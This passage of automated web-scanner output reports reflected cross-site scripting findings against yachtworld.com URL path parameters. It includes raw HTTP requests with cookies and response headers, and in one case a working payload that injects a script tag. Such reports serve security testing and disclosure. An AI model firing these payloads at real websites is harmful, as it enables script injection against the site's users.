VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:01 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload edd89"><a>15bb0a511b8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Four+Winnsedd89"><a>15bb0a511b8/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:02 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2059"><script>alert(1)</script>a0010bc719c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Four+Winns/1d2059"><script>alert(1)</script>a0010bc719c HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:12 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1b83"><a>19572220db1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typed1b83"><a>19572220db1/Grady+White/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:47 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf59d"><a>3b1efa8d3d0 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Grady+Whitebf59d"><a>3b1efa8d3d0/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:56 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 304f2"><a>dbf459730e4 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Grady+White/1304f2"><a>dbf459730e4 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; 